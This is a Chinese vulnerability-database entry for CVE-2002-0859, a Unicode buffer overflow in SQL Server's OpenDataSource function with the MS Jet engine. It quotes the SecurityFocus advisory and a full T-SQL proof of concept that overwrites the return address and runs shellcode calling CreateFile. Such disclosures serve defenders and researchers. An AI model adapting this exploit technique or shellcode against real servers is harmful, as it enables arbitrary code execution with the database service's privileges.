Microsoft SQL MS Jet引擎OpenDataSource远程缓冲区溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1106811 漏洞类型 边界条件错误
发布时间 2002-06-19 更新时间 2006-09-01
CVE编号 CVE-2002-0859 CNNVD-ID CNNVD-200209-003
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/21569
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200209-003
|漏洞详情
MicrosoftSQLServer是一款由Microsoft公司开发的商业性质大型数据库系统。MicrosoftSQLServer当和MSJET引擎组合使用时OpenDataSource函数存在漏洞,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。通过提交特殊构建的使用OpenDataSource函数的SQL查询可使SQL服务进程产生缓冲区溢出,同时溢出属于UNICODE性质,精心构建数据可容易的以SQL服务进程的权限在系统上执行任意指令。攻击者可以通过WEB应用程序使用SQL指令插入进行攻击,所以没有与Internet连接的SQL服务程序就不表示一定安全。由于问题存在于MSJET引擎组件,所以其他依靠此引擎组件的产品也应该存在此漏洞。
|漏洞EXP
source: http://www.securityfocus.com/bid/5057/info

Microsoft SQL Server is prone to a remotely exploitable unicode-based buffer overflow condition. This condition occurs when the OpenDataSource function is used with MS Jet Engine.

This issue may be exploited to execute attacker-supplied instructions with the privileges of the SQL Server process. This issue requires that the attacker can pass malicious data to the OpenDataSource function and may be exploitable remotely via SQL injection vulnerabilities in web-based software.

Due to this being an issue in the MS Jet Engine component itself, other products which rely on Jet Engine may also be affected by this vulnerability.

We previously alerted on this issue in BID 4847 "Microsoft SQL Server 2000 Multiple Vulnerabilities". This issue was originally publicized as a VNA by NGSSoftware. 

-------8<---------

-- Simple Proof of Concept
-- Exploits a buffer overrun in OpenDataSource()
--
-- Demonstrates how to exploit a UNICODE overflow using T-SQL
-- Calls CreateFile() creating a file called c:\SQL-ODSJET-BO
-- I'm overwriting the saved return address with 0x42B0C9DC
-- This is in sqlsort.dll and is consistent between SQL 2000 SP1 and SP2
-- The address holds a jmp esp instruction.
--
-- To protect against this overflow download the latest Jet Service
-- pack from Microsoft - http://www.microsoft.com/
--
-- David Litchfield (david@ngssoftware.com)
-- 19th June 2002



declare @exploit nvarchar(4000)
declare @padding nvarchar(2000)
declare @saved_return_address nvarchar(20)
declare @code nvarchar(1000)
declare @pad nvarchar(16)
declare @cnt int
declare @more_pad nvarchar(100)

select @cnt = 0
select @padding = 0x41414141
select @pad = 0x4141

while @cnt < 1063
begin
select @padding = @padding + @pad
select @cnt = @cnt + 1
end

-- overwrite the saved return address

select @saved_return_address = 0xDCC9B042
select @more_pad = 0x4343434344444444454545454646464647474747

-- code to call CreateFile(). The address is hardcoded to 0x77E86F87 - Win2K
Sp2
-- change if running a different service pack

select @code =
0x558BEC33C05068542D424F6844534A4568514C2D4F68433A5C538D142450504050485050B0
C05052B8876FE877FFD0CCCCCCCCCC
select @exploit = N'SELECT * FROM
penDataSource( ''Microsoft.Jet.OLEDB.4.0'',''Data Source="c:\'
select @exploit = @exploit + @padding + @saved_return_address + @more_pad +
@code
select @exploit = @exploit + N'";User ID=Admin;Password=;Extended
properties=Excel 5.0'')...xactions'
exec (@exploit)

------->8---------
|参考资料

来源:BUGTRAQ
名称:20020619MicrosoftSQLServer2000OpenDataSourceBufferOverflow(#NISR19062002)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=102450188620081&w=2
来源:www.nextgenss.com
链接:http://www.nextgenss.com/advisories/mssql-ods.txt
来源:MSKB
名称:Q282010
链接:http://support.microsoft.com/default.aspx?scid=kb;%5BLN%5D;Q282010
来源:BID
名称:5057
链接:http://www.securityfocus.com/bid/5057
来源:XF
名称:mssql-jet-ods-bo(9375)
链接:http://www.iss.net/security_center/static/9375.php